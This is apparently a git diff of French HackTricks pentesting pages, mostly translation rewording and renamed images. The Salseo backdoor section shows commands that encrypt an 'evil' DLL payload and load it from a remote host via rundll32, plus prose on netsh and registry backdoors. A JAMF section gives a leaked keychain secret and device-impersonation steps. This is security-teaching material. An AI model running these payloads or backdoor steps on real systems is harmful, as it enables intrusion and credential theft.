Translated ['backdoors/salseo.md', 'forensics/basic-forensic-methodology
BIN
.gitbook/assets/image (1) (1) (1) (1) (1) (1).png
Normal file
After Width: | Height: | Size: 1.6 KiB |
Before Width: | Height: | Size: 1.6 KiB After Width: | Height: | Size: 16 KiB |
Before Width: | Height: | Size: 16 KiB After Width: | Height: | Size: 132 KiB |
Before Width: | Height: | Size: 132 KiB After Width: | Height: | Size: 20 KiB |
Before Width: | Height: | Size: 20 KiB After Width: | Height: | Size: 8.1 KiB |
Before Width: | Height: | Size: 8.1 KiB After Width: | Height: | Size: 51 KiB |
BIN
.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1).png
Normal file
After Width: | Height: | Size: 94 KiB |
Before Width: | Height: | Size: 94 KiB After Width: | Height: | Size: 199 KiB |
Before Width: | Height: | Size: 199 KiB After Width: | Height: | Size: 145 KiB |
Before Width: | Height: | Size: 145 KiB After Width: | Height: | Size: 1.2 MiB |
Before Width: | Height: | Size: 1.2 MiB After Width: | Height: | Size: 100 KiB |
Before Width: | Height: | Size: 100 KiB After Width: | Height: | Size: 12 KiB |
Before Width: | Height: | Size: 12 KiB After Width: | Height: | Size: 121 KiB |
BIN
.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png
Normal file
After Width: | Height: | Size: 19 KiB |
Before Width: | Height: | Size: 19 KiB After Width: | Height: | Size: 78 KiB |
Before Width: | Height: | Size: 78 KiB After Width: | Height: | Size: 38 KiB |
Before Width: | Height: | Size: 38 KiB After Width: | Height: | Size: 795 KiB |
Before Width: | Height: | Size: 795 KiB After Width: | Height: | Size: 104 KiB |
Before Width: | Height: | Size: 104 KiB After Width: | Height: | Size: 17 KiB |
Before Width: | Height: | Size: 17 KiB After Width: | Height: | Size: 68 KiB |
BIN
.gitbook/assets/image (4) (1) (1) (1) (2).png
Normal file
After Width: | Height: | Size: 220 KiB |
Before Width: | Height: | Size: 220 KiB After Width: | Height: | Size: 96 KiB |
Before Width: | Height: | Size: 96 KiB After Width: | Height: | Size: 13 KiB |
Before Width: | Height: | Size: 13 KiB After Width: | Height: | Size: 7.8 KiB |
Before Width: | Height: | Size: 7.8 KiB After Width: | Height: | Size: 48 KiB |
Before Width: | Height: | Size: 48 KiB After Width: | Height: | Size: 32 KiB |
|
@ -47,7 +47,7 @@ Il existe plusieurs outils et techniques pour détecter et supprimer les backdoo
|
|||
|
||||
Pour prévenir les backdoors, il est essentiel de suivre de bonnes pratiques de sécurité, telles que l'utilisation de mots de passe forts, l'installation de logiciels provenant de sources fiables, la mise en place de pare-feu et la sensibilisation à la sécurité informatique. En outre, il est recommandé de réaliser régulièrement des audits de sécurité pour détecter et corriger les éventuelles vulnérabilités.
|
||||
|
||||
En résumé, les backdoors sont des menaces sérieuses pour la sécurité des systèmes Windows. Il est essentiel de prendre des mesures pour les détecter, les prévenir et les éliminer afin de protéger vos informations sensibles et votre système contre les attaques.
|
||||
En conclusion, les backdoors sont une menace sérieuse pour la sécurité des systèmes Windows. Il est essentiel de prendre des mesures pour les détecter, les prévenir et les éliminer afin de protéger vos informations sensibles et votre système contre les attaques.
|
||||
```
|
||||
EncrypterAssembly.exe <FILE> <PASSWORD> <OUTPUT_FILE>
|
||||
EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt
|
||||
|
@ -101,15 +101,15 @@ Ouvrez le projet SalseoLoader à l'aide de Visual Studio.
|
|||
|
||||
### Ajoutez avant la fonction principale: \[DllExport]
|
||||
|
||||
![](<../.gitbook/assets/image (2) (1) (1) (1) (1) (1).png>)
|
||||
![](<../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1).png>)
|
||||
|
||||
### Installez DllExport pour ce projet
|
||||
|
||||
#### **Outils** --> **Gestionnaire de packages NuGet** --> **Gérer les packages NuGet pour la solution...**
|
||||
|
||||
![](<../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png>)
|
||||
![](<../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png>)
|
||||
|
||||
#### **Recherchez le package DllExport (utilisez l'onglet Parcourir) et appuyez sur Installer (et acceptez la fenêtre contextuelle)**
|
||||
#### **Recherchez le package DllExport (en utilisant l'onglet Parcourir) et appuyez sur Installer (et acceptez la fenêtre contextuelle)**
|
||||
|
||||
![](<../.gitbook/assets/image (4) (1) (1) (1) (1).png>)
|
||||
|
||||
|
@ -174,15 +174,21 @@ rundll32.exe SalseoLoader.dll,main
|
|||
```
|
||||
### CMD
|
||||
|
||||
CMD (Command Prompt) is a command-line interpreter for Windows operating systems. It provides a text-based interface for executing commands and performing various tasks. CMD can be used to navigate the file system, run programs, manage processes, and perform administrative tasks.
|
||||
CMD (Command Prompt) is a command-line interpreter for Windows operating systems. It provides a text-based interface for executing commands and managing the system. CMD can be used to perform various tasks, such as navigating through directories, running programs, and managing files and processes.
|
||||
|
||||
CMD is a powerful tool for hackers as it allows them to execute commands and scripts on a target system. By gaining access to CMD, hackers can perform a wide range of activities, such as creating backdoors, stealing data, and launching attacks.
|
||||
CMD is a powerful tool for hackers as it allows them to execute commands and scripts on a target system. By gaining access to CMD, hackers can perform a wide range of activities, including reconnaissance, privilege escalation, and data exfiltration.
|
||||
|
||||
To exploit CMD, hackers often use techniques like social engineering, phishing, or exploiting vulnerabilities in the target system. Once they gain access to CMD, they can execute commands remotely and control the target system.
|
||||
To exploit CMD, hackers often use backdoors to gain persistent access to a compromised system. A backdoor is a hidden entry point that allows unauthorized access to a system. By installing a backdoor on a target system, hackers can maintain access even if the system is patched or the user's password is changed.
|
||||
|
||||
To protect against CMD exploitation, it is important to keep your system up to date with the latest security patches, use strong passwords, and be cautious of suspicious emails or websites. Regularly monitoring your system for any unauthorized access or unusual activities can also help detect and prevent CMD exploitation.
|
||||
There are several ways to create a backdoor in CMD. One common method is to use the "netsh" command to create a persistent backdoor. The "netsh" command is a powerful tool that allows users to configure network settings. By using the "netsh" command, hackers can create a backdoor that listens for incoming connections and provides them with remote access to the compromised system.
|
||||
|
||||
CMD is a versatile tool that can be used for both legitimate purposes and malicious activities. Understanding its capabilities and taking necessary precautions can help ensure the security of your system.
|
||||
Another method is to use the "reg" command to create a backdoor in the Windows Registry. The Windows Registry is a hierarchical database that stores configuration settings and options for the operating system. By modifying the Registry, hackers can create a backdoor that is executed every time the system starts up, providing them with persistent access to the compromised system.
|
||||
|
||||
In addition to creating backdoors, hackers can also use CMD to perform other malicious activities. For example, they can use CMD to execute malware, steal sensitive information, or launch denial-of-service attacks.
|
||||
|
||||
To protect against CMD-based attacks, it is important to implement strong security measures, such as regularly updating the operating system, using strong passwords, and monitoring system logs for suspicious activities. Additionally, it is recommended to use antivirus software and firewall to detect and block malicious CMD commands and scripts.
|
||||
|
||||
By understanding how CMD works and the various techniques used by hackers, you can better protect your systems and networks from unauthorized access and malicious activities.
|
||||
```
|
||||
set pass=password
|
||||
set payload=http://10.2.0.5/evilsalsax64.dll.txt
|
||||
|
@ -196,7 +202,7 @@ rundll32.exe SalseoLoader.dll,main
|
|||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
|
|
@ -12,7 +12,7 @@
|
|||
|
||||
</details>
|
||||
|
||||
<img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
Si vous êtes intéressé par une **carrière en piratage** et que vous voulez pirater l'impossible - **nous recrutons !** (_maîtrise du polonais écrit et parlé requise_).
|
||||
|
||||
|
@ -60,7 +60,7 @@ Unknown magic number 227 in /tmp/binary.pyc
|
|||
```
|
||||
Pour résoudre ce problème, vous devez **ajouter le bon numéro magique** au début du fichier généré.
|
||||
|
||||
**Les numéros magiques varient en fonction de la version de Python**, pour obtenir le numéro magique de **Python 3.8**, vous devrez **ouvrir un terminal Python 3.8** et exécuter :
|
||||
**Les numéros magiques varient en fonction de la version de Python**. Pour obtenir le numéro magique de **Python 3.8**, vous devrez **ouvrir un terminal Python 3.8** et exécuter :
|
||||
```
|
||||
>> import imp
|
||||
>> imp.get_magic().hex()
|
||||
|
@ -211,7 +211,7 @@ C:\Users\test\Desktop\test>pyinstaller --onefile hello.py
|
|||
|
||||
* [https://blog.f-secure.com/how-to-decompile-any-python-binary/](https://blog.f-secure.com/how-to-decompile-any-python-binary/)
|
||||
|
||||
<img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
Si vous êtes intéressé par une **carrière en piratage** et souhaitez pirater l'impossible - **nous recrutons !** (_maîtrise du polonais à l'écrit et à l'oral requise_).
|
||||
|
||||
|
@ -221,7 +221,7 @@ Si vous êtes intéressé par une **carrière en piratage** et souhaitez pirater
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? Ou souhaitez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
|
|
@ -53,7 +53,7 @@ De plus, après avoir trouvé les identifiants appropriés, vous pourriez être
|
|||
|
||||
#### Authentification de l'appareil JAMF
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Le binaire **`jamf`** contenait le secret pour ouvrir le trousseau qui, au moment de la découverte, était **partagé** entre tout le monde et c'était : **`jk23ucnq91jfu9aj`**.\
|
||||
De plus, jamf **persiste** en tant que **LaunchDaemon** dans **`/Library/LaunchAgents/com.jamf.management.agent.plist`**
|
||||
|
@ -94,7 +94,7 @@ Pour **imiter la communication** entre un appareil et JMF, vous avez besoin de :
|
|||
* L'**UUID** de l'appareil : `ioreg -d2 -c IOPlatformExpertDevice | awk -F" '/IOPlatformUUID/{print $(NF-1)}'`
|
||||
* Le **trousseau JAMF** depuis : `/Library/Application\ Support/Jamf/JAMF.keychain` qui contient le certificat de l'appareil
|
||||
|
||||
Avec ces informations, **créez une machine virtuelle** avec l'**UUID** du matériel **volé** et avec le **SIP désactivé**, déposez le **trousseau JAMF**, **accrochez** l'agent Jamf et volez ses informations.
|
||||
Avec ces informations, **créez une machine virtuelle** avec l'**UUID** du matériel **volé** et avec **SIP désactivé**, déposez le **trousseau JAMF**, **accrochez** l'agent Jamf et volez ses informations.
|
||||
|
||||
#### Vol de secrets
|
||||
|
||||
|
@ -193,7 +193,7 @@ Le trousseau contient très probablement des informations sensibles qui, s'il es
|
|||
|
||||
## Services externes
|
||||
|
||||
Le red teaming sur MacOS est différent du red teaming sur Windows classique car généralement **MacOS est intégré à plusieurs plateformes externes directement**. Une configuration courante de MacOS est d'accéder à l'ordinateur en utilisant **les identifiants synchronisés de OneLogin et d'accéder à plusieurs services externes** (comme github, aws...) via OneLogin :
|
||||
Le red teaming sur MacOS est différent du red teaming sur Windows classique car généralement **MacOS est intégré à plusieurs plateformes externes directement**. Une configuration courante de MacOS consiste à accéder à l'ordinateur en utilisant **les identifiants synchronisés de OneLogin et à accéder à plusieurs services externes** (comme github, aws...) via OneLogin :
|
||||
|
||||
![](<../../.gitbook/assets/image (563).png>)
|
||||
|
||||
|
|
|
@ -5,7 +5,7 @@
|
|||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? Ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
@ -23,7 +23,7 @@ Cette fonction fera en sorte que le binaire **autorisé possède le PID**, mais
|
|||
Si vous trouvez la fonction **`shouldAcceptNewConnection`** ou une fonction appelée par celle-ci appelant **`processIdentifier`** et ne faisant pas appel à **`auditToken`**, il est très probable qu'elle vérifie le PID du processus et non le jeton d'audit.\
|
||||
Comme par exemple dans cette image (prise à partir de la référence) :
|
||||
|
||||
<figure><img src="../../../../.gitbook/assets/image (4) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../../.gitbook/assets/image (4) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Vérifiez cet exemple d'exploitation (encore une fois, pris à partir de la référence) pour voir les 2 parties de l'exploitation :
|
||||
|
||||
|
|
|
@ -22,17 +22,17 @@ Les extensions de noyau (Kexts) sont des **paquets** avec l'extension **`.kext`*
|
|||
|
||||
* Lorsque vous entrez en **mode de récupération**, les extensions de noyau doivent être **autorisées à être chargées** :
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
* L'extension de noyau doit être **signée avec un certificat de signature de code de noyau**, qui ne peut être délivré que par **Apple**. Qui examinera en détail l'**entreprise** et les **raisons** pour lesquelles elle est nécessaire.
|
||||
* L'extension de noyau doit également être **notarisée**, Apple pourra la vérifier pour détecter les logiciels malveillants.
|
||||
* Ensuite, l'**utilisateur root** est celui qui peut charger l'extension de noyau et les fichiers à l'intérieur du package doivent appartenir à root.
|
||||
* Pendant le processus de chargement, le package doit être préparé dans un emplacement protégé sans racine : `/Library/StagedExtensions` (nécessite l'autorisation `com.apple.rootless.storage.KernelExtensionManagement`)
|
||||
* Enfin, lors de la tentative de chargement, l'**utilisateur recevra une demande de confirmation** et, si elle est acceptée, l'ordinateur doit **redémarrer** pour la charger.
|
||||
* Enfin, lors de la tentative de chargement, l'**utilisateur recevra une demande de confirmation** et, s'il l'accepte, l'ordinateur doit **redémarrer** pour le charger.
|
||||
|
||||
### Processus de chargement
|
||||
|
||||
Dans Catalina, c'était comme ça : Il est intéressant de noter que le processus de **vérification** se produit dans **userland**. Cependant, seules les applications avec l'autorisation **`com.apple.private.security.kext-management`** peuvent **demander au noyau** de **charger une extension** : kextcache, kextload, kextutil, kextd, syspolicyd
|
||||
Dans Catalina, c'était comme ça : Il est intéressant de noter que le processus de **vérification** se produit dans **userland**. Cependant, seules les applications ayant l'autorisation **`com.apple.private.security.kext-management`** peuvent **demander au noyau** de **charger une extension** : kextcache, kextload, kextutil, kextd, syspolicyd
|
||||
|
||||
1. **`kextutil`** cli **initie** le processus de vérification pour charger une extension
|
||||
|
||||
|
|
|
@ -195,7 +195,7 @@ Exemple d'**en-tête de section** :
|
|||
|
||||
Si vous **ajoutez** le **décalage de section** (0x37DC) + le **décalage** où **l'architecture commence**, dans ce cas `0x18000` --> `0x37DC + 0x18000 = 0x1B7DC`
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Il est également possible d'obtenir des **informations d'en-tête** depuis la **ligne de commande** avec :
|
||||
```bash
|
||||
|
@ -219,16 +219,16 @@ Segments communs chargés par cette commande :
|
|||
|
||||
### **`LC_MAIN`**
|
||||
|
||||
Contient le point d'entrée dans l'attribut **entryoff**. Au moment du chargement, **dyld** ajoute simplement cette valeur à la **base du binaire en mémoire**, puis **saute** vers cette instruction pour démarrer l'exécution du code du binaire.
|
||||
Contient le point d'entrée dans l'attribut **entryoff**. Au moment du chargement, **dyld** ajoute simplement cette valeur à la **base du binaire** en mémoire, puis **saute** vers cette instruction pour démarrer l'exécution du code du binaire.
|
||||
|
||||
### **LC\_CODE\_SIGNATURE**
|
||||
|
||||
Contient des informations sur la **signature de code du fichier Mach-O**. Il contient uniquement un **décalage** qui **pointe** vers le **bloc de signature**. Celui-ci se trouve généralement à la toute fin du fichier.\
|
||||
Contient des informations sur la **signature du code du fichier Mach-O**. Il contient uniquement un **décalage** qui **pointe** vers le **blob de signature**. Cela se trouve généralement à la toute fin du fichier.\
|
||||
Cependant, vous pouvez trouver des informations sur cette section dans [**cet article de blog**](https://davedelong.com/blog/2018/01/10/reading-your-own-entitlements/) et ce [**gist**](https://gist.github.com/carlospolop/ef26f8eb9fafd4bc22e69e1a32b81da4).
|
||||
|
||||
### **LC\_LOAD\_DYLINKER**
|
||||
|
||||
Contient le **chemin vers l'exécutable du lien dynamique** qui mappe les bibliothèques partagées dans l'espace d'adressage du processus. La **valeur est toujours définie sur `/usr/lib/dyld`**. Il est important de noter que dans macOS, le mappage des dylib se fait en **mode utilisateur**, et non en mode noyau.
|
||||
Contient le **chemin vers l'exécutable du lien dynamique** qui mappe les bibliothèques partagées dans l'espace d'adressage du processus. La **valeur est toujours définie sur `/usr/lib/dyld`**. Il est important de noter que dans macOS, le mappage dylib se fait en **mode utilisateur**, et non en mode noyau.
|
||||
|
||||
### **`LC_LOAD_DYLIB`**
|
||||
|
||||
|
|
|
@ -21,7 +21,7 @@ Il crée deux tubes nommés par processus .Net dans [dbgtransportsession.cpp#L12
|
|||
|
||||
Ainsi, si vous accédez au répertoire **`$TMPDIR`** de l'utilisateur, vous pourrez trouver des **fifos de débogage** que vous pourrez utiliser pour déboguer des applications .Net :
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
La fonction [**DbgTransportSession::TransportWorker**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L1259) gérera la communication depuis un débogueur.
|
||||
|
||||
|
|
|
@ -1,12 +1,10 @@
|
|||
# AVD - Appareil virtuel Android
|
||||
|
||||
## AVD - Appareil virtuel Android
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? Ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
@ -14,7 +12,7 @@
|
|||
|
||||
</details>
|
||||
|
||||
Un grand merci à [**@offsecjay**](https://twitter.com/offsecjay) pour son aide lors de la création de ce contenu.
|
||||
Merci beaucoup à [**@offsecjay**](https://twitter.com/offsecjay) pour son aide lors de la création de ce contenu.
|
||||
|
||||
## Qu'est-ce que c'est
|
||||
|
||||
|
@ -30,7 +28,7 @@ Sous Mac, vous pouvez **télécharger les outils SDK** et les avoir dans le PATH
|
|||
brew tap homebrew/cask
|
||||
brew install --cask android-sdk
|
||||
```
|
||||
Ou à partir de l'interface graphique d'**Android Studio** comme indiqué dans [https://stackoverflow.com/questions/46402772/failed-to-install-android-sdk-java-lang-noclassdeffounderror-javax-xml-bind-a](https://stackoverflow.com/questions/46402772/failed-to-install-android-sdk-java-lang-noclassdeffounderror-javax-xml-bind-a) qui les installera dans `~/Library/Android/sdk/cmdline-tools/latest/bin/` et `~/Library/Android/sdk/platform-tools/` et `~/Library/Android/sdk/emulator/`
|
||||
Ou depuis l'interface graphique d'**Android Studio** comme indiqué dans [https://stackoverflow.com/questions/46402772/failed-to-install-android-sdk-java-lang-noclassdeffounderror-javax-xml-bind-a](https://stackoverflow.com/questions/46402772/failed-to-install-android-sdk-java-lang-noclassdeffounderror-javax-xml-bind-a) qui les installera dans `~/Library/Android/sdk/cmdline-tools/latest/bin/` et `~/Library/Android/sdk/platform-tools/` et `~/Library/Android/sdk/emulator/`
|
||||
|
||||
Pour les problèmes de Java: 
|
||||
```java
|
||||
|
@ -40,7 +38,7 @@ export JAVA_HOME=/Applications/Android\ Studio.app/Contents/jbr/Contents/Home
|
|||
|
||||
### Préparer la machine virtuelle
|
||||
|
||||
Si vous avez installé Android Studio, vous pouvez simplement ouvrir la vue principale du projet et accéder à : _**Outils**_ --> _**Gestionnaire AVD.**_
|
||||
Si vous avez installé Android Studio, vous pouvez simplement ouvrir la vue principale du projet et accéder à : _**Outils**_ --> _**Gestionnaire AVD**_.
|
||||
|
||||
<div align="center" data-full-width="false">
|
||||
|
||||
|
@ -52,7 +50,7 @@ Ensuite, cliquez sur _**Créer un périphérique virtuel**_
|
|||
|
||||
<figure><img src="../../.gitbook/assets/image (671).png" alt="" width="188"><figcaption></figcaption></figure>
|
||||
|
||||
_**sélectionnez** le téléphone que vous souhaitez utiliser_ et cliquez sur _**Suivant.**_
|
||||
_**sélectionnez** le téléphone que vous souhaitez utiliser_ et cliquez sur _**Suivant**_.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Si vous avez besoin d'un téléphone avec Play Store installé, sélectionnez-en un avec l'icône Play Store !
|
||||
|
@ -202,7 +200,7 @@ Cependant, il existe **de nombreuses options utiles en ligne de commande** que v
|
|||
|
||||
**Système**
|
||||
|
||||
* `-selinux {disabled|permissive}` : Définit le module de sécurité Linux amélioré (SELinux) en mode désactivé ou permissif sur un système d'exploitation Linux.
|
||||
* `-selinux {disabled|permissive}` : Définit le module de sécurité Linux renforcé sur un système d'exploitation Linux en mode désactivé ou permissif.
|
||||
* `-timezone Europe/Paris` : Définit le fuseau horaire pour le périphérique virtuel
|
||||
* `-screen {touch(default)|multi-touch|o-touch}` : Définit le mode d'écran tactile émulé.
|
||||
* **`-writable-system`** : Utilisez cette option pour avoir une image système modifiable pendant votre session d'émulation. Vous devrez également exécuter `adb root; adb remount`. Cela est très utile pour installer un nouveau certificat dans le système.
|
||||
|
@ -214,11 +212,11 @@ Si vous avez téléchargé un appareil avec Play Store, vous ne pourrez pas obte
|
|||
$ adb root
|
||||
adbd cannot run as root in production builds
|
||||
```
|
||||
En utilisant [rootAVD](https://github.com/newbit1/rootAVD) avec [Magisk](https://github.com/topjohnwu/Magisk), j'ai réussi à le rooter (suivez par exemple [**cette vidéo**](https://www.youtube.com/watch?v=Wk0ixxmkzAI)).
|
||||
En utilisant [rootAVD](https://github.com/newbit1/rootAVD) avec [Magisk](https://github.com/topjohnwu/Magisk), j'ai réussi à le rooter (suivez par exemple [**cette vidéo**](https://www.youtube.com/watch?v=Wk0ixxmkzAI) **ou** [**celle-ci**](https://www.youtube.com/watch?v=qQicUW0svB8)).
|
||||
|
||||
## Installer le certificat Burp sur une machine virtuelle
|
||||
|
||||
Tout d'abord, vous devez télécharger le certificat Der depuis Burp. Vous pouvez le faire dans _**Proxy**_ --> _**Options**_ --> _**Import / Export CA certificate**_
|
||||
Tout d'abord, vous devez télécharger le certificat Der à partir de Burp. Vous pouvez le faire dans _**Proxy**_ --> _**Options**_ --> _**Importer / Exporter le certificat CA**_
|
||||
|
||||
![](<../../.gitbook/assets/image (367).png>)
|
||||
|
||||
|
@ -232,6 +230,8 @@ C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9" -ht
|
|||
{% endcode %}
|
||||
|
||||
Ensuite, pour **configurer le certificat de Burp**, faites ce qui suit :
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
openssl x509 -inform DER -in burp_cacert.der -out burp_cacert.pem
|
||||
CERTHASHNAME="`openssl x509 -inform PEM -subject_hash_old -in burp_cacert.pem | head -1`.0"
|
||||
|
@ -242,11 +242,37 @@ adb shell mv /sdcard/$CERTHASHNAME /system/etc/security/cacerts/ #Move to correc
|
|||
adb shell chmod 644 /system/etc/security/cacerts/$CERTHASHNAME #Assign privileges
|
||||
